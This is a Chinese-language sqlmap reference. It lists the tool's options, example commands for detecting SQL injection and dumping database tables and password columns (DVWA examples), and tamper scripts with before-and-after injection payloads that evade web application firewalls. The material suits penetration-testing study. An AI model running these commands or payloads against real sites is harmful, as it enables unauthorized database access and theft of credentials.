Options
--version:顯示當前sqlmap的版本號
-h:顯示幫助信息
-hh:顯示詳細的幫助信息
-v VERBOSE:詳細級別,VERBOSE為數字,默認為1
Target
-d DIRECT:直接連接到數據庫
-u URL 或--url=URL:目標地址(URL)
-l LOGFILE:從Burp或WebScarab代理的日志中解析目標
-x SITEMAPURL:從一個XML文件中解析目標
-m BULKFILE:掃描文本文件中的多個目標
-r REQUESTFILE:從文件中導入HTTP請求(通常用於檢查POST請求中的SQL注入)
-g GOOGLEDORK:處理Google Dork的結果作為目標URL
-c CONFIGFILE:從ini文件中加載選項
Request
--method=MEHOTD:強制指定HTTP方法(如PUT)
--data=DATA:指定POST請求的參數
--param-del=PARAMDEL:指定參數的分隔符(如:&)
--cookie=COOKIE:指定HTTP請求的Cookie
--cookie-del=COOKIEDEL:指定Cookie的分隔符(如:分號;)
--load-cookies=LOADCOOKIES:指定以Netscape或wget且包含cookie的文件
--drop-set-cookie:忽略返回包中的Set-Cookie字段
--user-agent:指定HTTP頭部的user-agent值
--random-agent:設置隨機的HTTP User-Agent
--host=HOST:指定HTTP頭部的host值
--referer=REFERER:指定HTTP頭部中的referer值
-H=HEADER:指定HTTP其他頭部信息
--headers=HEADERS:指定HTTP其他頭部信息
--auth-type=AUTHTYPE:指定HTTP的認證類型(Basic,Digest,NTLM,PKI)
--auth-cred=AUTHCRED:指定HTTP認證憑證(name:password)
--auth-file=AUTHFILE:指定HTTP認證PEM認證/私鑰文件
--ignore-code=IGNORECODE:忽略指定的HTTP錯誤碼(如:401)
--ignore-proxy:忽略系統默認代理
--ignore-redirects:忽略重定向嘗試
--ignore-timeouts:忽略連接超時
--proxy=PROXY:指定代理地址
--proxy-cred=PROXYCRED:指定代理認證憑據(name:password)
--proxy-file=PROXYFILE:從指定文件中加載代理數據
--tor:使用tor匿名網絡(通常需要提高默認的響應時長,且需要指定Tor的代理地址)
--tor-port=TORPORT:設置TOR代理的端口(修改默認端口)
--tor-type=TORTYPE:設置TOR代理的類型(HTTP,SOCKS4,SOCKS5默認)
--check-tor:檢查tor能否正常使用
--delay=DELAY:設置每個HTTP請求的間隔時間(單位:秒)
--timeout=TIMEOUT:設置超時連接前等待的時間(單位:秒)
--retries=RETRIES:設置連接超時重新嘗試的次數(默認為3)
--randomize=RPARAM:隨機更改給定參數的值
--safe-url=SAFEURL:指定在測試期間頻繁訪問的URL
--safe-post=SAFEPOST:POST數據發送到安全URL
--safe-req=SAFEREQ:從文件中加載HTTP請求
--safe-freq=SAFEFREQ:在兩次訪問安全網址之間的測試請求
--skip-urlencode:跳過經過URL編碼的payload數據
--csrf-token=CSRFTOKEN:指定CSRF-TOKEN值
--csrf-url=CSRFURL:指定提取CSRF-TOKEN的URL值
--force-ssl:強制使用SSL協議
--hpp:使用HTTP參數pollution的方法
--eval:評估請求之前提供Python代碼
Optimization
-o:開啟所有優化開關
--predict-output:預測常見的查詢輸出
--keep-alive:使用持久的HTTP(S)連接
--null-connection:從沒有實際的HTTP響應體中檢索頁面長度
--threads=THREADS:設置請求的並發數
Injection
-p TESTPARAMETER:指定需要測試的參數
--skip=SKIP:跳過指定參數的測試
--skip-static:跳過非動態參數的測試
--param-exclude=PARAMEXCLUDE:使用正則排除要測試的參數
--dbms=DBMS:強制指定數據庫管理系統的類型
--dbms-cred=DBMSCRED:指定DBMS認證憑證(name:password)
--os=OS:指定后端DBMS的操作系統
--invalid-logical:使用大數字使值無效
--invalid-string:使用隨機字符串使值無效
no-cast:關閉有效載荷
--no-escape:關閉字符串轉義機制
--prefix=PREFIX:注入payload字符串前綴
--suffix=SUFFIX:注入payload字符串后綴
--tamper=TAMPER:使用給定腳本篡改注入數據
Detection
--level=LEVEL:指定執行檢測的等級(1-5,默認為1)
--risk=RISK:指定執行檢測的風險(1-5,默認為1)
--string=STRING:查詢有效時在頁面匹配字符串
--not-string=NOTSTRING:查詢無效時在頁面匹配字符串
--regexp=REGEXP:查詢有效時在頁面匹配正則表達式
--code=CODE:查詢有效時匹配的HTTP返回碼
--text-only:基於文本內容比較網頁
--titles:基於標題比較網頁
Techniques
--technique=TECH:指定SQL注入的技術(默認為BEUST)
--time-sec=TIMESEC:DBMS響應的延遲時間
--union-cols=UCOLS:指定UNION查詢注入使用的列
--union-char=UCHAR:指定暴力猜解列數的字符
--union-from=UFROM:指定UNION查詢注入的FROM部分使用的表
--dns-domain=DNSDOMAIN:域名用於DNS漏出攻擊
Enumeration
-a或--all:檢索一切
-b,--banner:檢索數據庫管理系統的標識
--current-user:檢索數據庫管理系統的當前用戶名
--current-db:檢索DBMS的當前數據庫名稱
--hostname:檢索數據庫服務器的主機名
--is-dba:檢測DBMS當前用戶是否為DBA
--users:枚舉DBMS的用戶名
--passwords:枚舉DBMS用戶密碼哈希
--privileges:枚舉DBMS用戶的權限
--roles:枚舉DBMS用戶的角色
--dbs:枚舉DBMS所有的數據庫名稱
--tables:枚舉DBMS數據庫中所有的表
--columns:枚舉DBMS數據庫表中所有的列名
--schema:枚舉數據庫架構
--count:檢索表的記錄數
--dump:轉儲DBMS的數據庫中的表項
--dump-all:轉儲DBMS的數據庫中的所有表項
--search:搜索列、表、數據庫名稱
--commnets:檢索數據庫的comments
-D DB:指定要枚舉的數據庫名稱
-T TBL:指定要枚舉的數據表名稱
-C COL:指定要枚舉的數據庫列名
-X EXCLUDECOL:指定不要枚舉的數據庫列名
-U USER:指定要進行枚舉的數據庫用戶名
--exclude-sysdbs:枚舉表時排除系統數據庫
--where=DUMPWHERE:使用WHERE條件表轉儲
--start=LIMITSTART:第一個查詢輸出進入檢索
--stop=LIMITSTOP:最后查詢的輸出進入檢索
--first=FIRSTCHAR:第一個查詢輸出字的字符檢索
--last=LASTCHAR:最后查詢的輸出字字符檢索
--sql-query=QUERY:要執行的SQL語句
--sql-file=SQLFILE:從給定文件中執行SQL語句
-
HTTP Get請求
## 指定參數和Cookie sqlmap -u "http://xxx.com/1.php?id=1" --cookies="COOKIE" -p id## 忽略參數,指定分隔符 sqlmap -u "http://xxx.com/1.php?id=1&username=jack" --param-del=& --skip=username -
HTTP Post請求
## 直接從文件導入 sqlmap -r 1.txt -p id## 自定義 sqlmap -u "http://xxx.com/1.php" --data="id=1&username=jack" --cookie="COOKIE" -p id
一般的注入步驟
-
檢查是否存在注入
sqlmap -r 1.txt -p id -
簡單的信息獲取
## 獲取數據庫版本信息 sqlmap -r 1.txt -p id --banner ## 獲取當前數據庫名稱 sqlmap -r 1.txt -p id --current-db ## 獲取數據庫中所有數據庫名稱 sqlmap -r 1.txt -p id --dbs ## 獲取數據庫當前用戶名 sqlmap -r 1.txt -p id --current-user ## 獲取數據庫所有用戶名 sqlmap -r 1.txt -p id --users ## 檢查數據庫當前用戶是否為DBA sqlmap -r 1.txt -p id --is-dba -
獲取數據庫中的數據
## 獲取數據表名稱 sqlmap -r 1.txt -p id -D dvwa --tables ## 獲取數據表中的列名稱 sqlmap -r 1.txt -p id -D dvwa -T users --columns ## 獲取單個表中自定義列中的數據 sqlmap -r 1.txt -p id -D dvwa -T users -C user,password --dump ## 獲取單個表數據 sqlmap -r 1.txt -p id -D dvwa -T users --dump ## 獲取單個數據庫中所有表中的數據 sqlmap -r 1.txt -p id -D dvwa --dump
tamper介紹
| 數據庫 | 腳本名 | 描述 | 舉例 |
|---|---|---|---|
| 通用 | apostrophemask.py | utf8替代引號 | |
| base64encode.py | 用base64編碼轉換 | ||
| multiplespaces.py | 圍繞SQL關鍵字添加多個空格 | ||
| space2plus.py | 用+替換空格 | ||
| nonrecursivereplacement.py | 雙重查詢語句 | ||
| space2randomblank.py | 用一個隨機的空白字符替換空格字符 | ||
| unionalltounion.py | 用UNION SELECT替換UNION ALL SELECT | ||
| securesphere.py | 追加自定義字符串 | ||
| mssql | space2hash.py | 空格替換為#號、隨機字符串、換行符 | |
| equaltolike.py | LIKE替換等於號(=) | ||
| space2mssqlblank.py | 用其他空符號替換空格字符 | ||
| space2mssqlhash.py | 用%23%0A替換空格字符 | ||
| between.py | 用between替換大於號 | ||
| percentage.py | 在每個字符前添加% | ||
| sp_password.py | 在有效載荷后添加sp_password | ||
| charencode.py | url編碼 | ||
| randomcase.py | 隨機大小寫 | ||
| charunicodeencode.py | unicode編碼字符串 | ||
| space2comment.py | 用注釋替換空格 | ||
| mysql | equaltolike.py | like代替等號(=) | |
| greatest.py | 繞過對大於號的過濾,用GREATEST替換大於號 | ||
| apostrophenullencode.py | 繞過對雙引號的過濾,替換字符和雙引號 | ||
| ifnull2ifisnull.py | 繞過對IFNULL的過濾,用IF(ISNULL(A),B,A)代替IFNULL | ||
| space2mssqlhash.py | 用%23%0A替換空格 | ||
| modsecurityversioned.py | 過濾空格,包含完整的查詢版本注釋 | ||
| space2mysqlblank.py | 用其他空白字符替換空格 | ||
| between.py | 用between替換大於號 | ||
| modsecurityzeroversioned.py | 包含了完整的查詢與零版本注釋 | ||
| space2mysqldash.py | 用--%0A替換空格字符 | ||
| bluecoat.py | 用隨機空白字符替換空格,用LIKE替換等於號(=) | ||
| percentage.py | 在每個字符前加百分號 | ||
| charencode.py | url編碼 | ||
| randomcase.py | 隨機大小寫 | ||
| versionedkeywords.py | 用版本化的MySQL注釋包含每個非函數關鍵字 | ||
| space2comment.py | 用注釋替換空格 | ||
| charunicodeencode.py | 用unicode編碼字符串 | ||
| versionedmorekeywords.py | 用更多的版本化的MySQL注釋包含每個非函數關鍵字 | ||
| halfversionedmorekeywords.py | 關鍵字前加注釋 | ||
| space2morehash.py | 空格替換為#號和其他隨機字符串 | ||
| oracle | greatest.py | 用GREATEST替換大於號 | |
| apostrophenullencode.py | 繞過過濾雙引號,替換字符和雙引號 | ||
| between.py | 用between替換大於號 | ||
| charencode.py | url編碼 | ||
| randomcase.py | 隨機大小寫 | ||
| charunicodeencode.py | unicode編碼 | ||
| space2comment.py | 用注釋替換空格 | ||
| Access | appendnullbyte.py | 在有效載荷結束位置加零字節字符編碼 |
腳本及功能介紹
space2plus
用+替換空格
// old
select id from users
// new
select+id+from+users
space2hash
空格替換為#號(%23) 隨機字符串 換行符(%0A)
// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2
space2morehash
空格替換為#號(%23) 更多隨機字符串 換行符(%0A)
// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2
space2mysqldash
替換空格為--%0A
// old
1 and 2=2
// new
1--%0Aand--%0A2=2
space2randomblank
將空格替換為隨機空白字符的字符集
// old
select id from users
// new
select%0Did%0Dfrom%0Ausers
space2mssqlblank
空格替換為其他空白字符
// old
select id from users
// new
select%08id%02from%0Fusers
space2mssqlhash
空格替換為%23%0A
// old
1 and 2=2
// new
1%23%0Aand%23%0A2=2
space2comment
空格替換為注釋
// old
select id from users
//new
select//id//from/**/users
between
將大於號(>)替換為between
// old
1 and A>B
// new
1 and A not between 0 and B
greatest
將大於號(>)替換為greatest
// old
1 and A>B
// new
1 and greatest(A,B+1)=A
equaltolike
將等於號(=)替換為like
// old
select * from users where id=1
// new
select * from users where id like 1
bluecoat
將空格替換為一個隨機的空白字符,同時將等於號(=)替換為like
// old
select id from users where id=1
// new
select%09id from users where id like 1
modsecurityversioned
將空格替換為包含完整版本注釋的字符串(當MySQL的版本大於等於指定的版本號時才會執行注釋中的語法)
// old
1 and 2>1--
// new
1/*!30874AND 2>1*/--
modsecurityzeroversioned
將空格替換為包含完整版本注釋與零版本注釋的字符串
// old
1 and 2>1
// new
1/*!00000and 2>1*/--
versionedkeywords
為每個非函數關鍵字添加版本注釋
// old
1 union all select null,null,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
// new
1/*!union**!all**!select**!null*/,/*!null*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
versionedmorekeywords
為每個關鍵字添加版本注釋
// old
1 union select null,null,CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
// new
1/*!uninon**!select**!null*/,/*!null*/,/*!concat*/(/*!char*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
halfversionedmorekeywords
為每個關鍵字前添加注釋 /*!0
// old
value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND 'QDW'='QDWa
// new
value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),NULL,NULL#/*!0AND 'QDW'='QDWa
multiplespaces
圍繞SQL關鍵字添加空格
// old
1 union select foobar
// new
1 union select foobar
nonrecursivereplacement
雙重查詢語句
// old
1 union select 2--
// new
1 ununionion selselectect 2--
unionalltounion
將union all select替換為union select
// old
1 union all select
// new
1 union select
securesphere
追加特制字符串
// old
1 and 1=1
// new
1 and 1=1 and 'ok'='ok'
percentage
每個字符前添加百分號(%)
// old
select id from users
// new
%s%e%l%e%c%t %i%d %f%r%o%m %u%s%e%r%s
appendnullbyte
在有效載荷末尾位置加載字節字符編碼
// old
1 and 1=1
// new
1 and 1=1%00
randomcase
隨機大小寫
// old
insert
// new
InsErT
charencode
對所有字符串進行url編碼
// old
SELECT FIELD FROM TABLE
// new
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
chardoubleencode
對所有字符串進行雙重url編碼
// old
SELECT FIELD FROM TABLE
// new
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
charunicodeencode
對所有字符串進行unicode編碼
// old
SELECT FIELD FROM TABLE
// new
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045
base64encode
對所有字符串進行base64編碼
// old
1 and 1=1#
// new
MSBhbmQgMT0xIw==
總結
空格處理
space2plus.pyspace2hash.pyspace2morehash.pyspace2mysqldash.pyspace2randomblank.pyspace2mssqlblank.pyspace2mssqlhash.pyspace2comment.pymodsecurityversioned.pymodsecurityzeroversioned.py
大於號處理
between.pygreatest.py
等於號處理
equaltolike.pybluecoat.py
引號處理
apostrophemask.py:utf8替換引號apostrophenullencode.py:替換字符和雙引號
關鍵字處理
-
versionedkeywords.py -
versionedmorekeywords.py -
halfversionedmorekeywords.py -
multiplespaces.py:多個關鍵字前加空格 -
nonrecursivereplacement.py:雙重關鍵字 -
unionalltounion.py:union select替換union all select -
securesphere.py:追加特制字符串 -
percentage.py:每個字符前加% -
appendnullbyte.py:末尾添加零字節編碼
語句處理
randomcase.py:大小寫混淆charencode.py:url編碼chardoublecode.py:雙重url編碼charunicodeencode.py:unicode編碼base64encode.py:base64編碼
